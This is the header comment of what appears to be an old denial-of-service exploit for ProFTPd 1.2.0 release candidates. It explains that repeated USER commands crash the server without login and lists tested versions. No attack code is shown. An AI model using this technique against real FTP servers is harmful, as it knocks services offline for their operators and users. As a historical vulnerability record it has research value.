/*      ProFTPd DoS version 1.1

	Remote DoS in proFTPd

        

	Code by: JeT-Li         -The Wushu Master-      jet_li_man@yahoo.com

	

        Recently I posted a remote DoS for ProFTPd based in the multiple use

	of the SIZE command in order to crash the system. Now and thanks to

	the information provided by Wojciech Purczynski I have coded a

	program that not only use the SIZE command but also the USER command.

	So at this time access to the ftp is not necessary to manage a DoS

	attack. The concept is equal to the last exploit one, but using

	multiple USER instead of SIZE.   

     

	You don't have to give arguments when you execute the program, it

	will request you these.

 	 	         

	Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most

	hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all

	the ppl of #hackers (not able for cardiac XD). 	  

	

	Vulnerable systems: 

	ProFTPd 1.2.0rc1        (Tested)         

	ProFTPd 1.2.0rc2        (Tested)         

	And maybe others(1.2.0preX); I have no test this, but I'm sure you

	can do it for me ;-)	

	NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of

	Wojciech Purczynski ... */
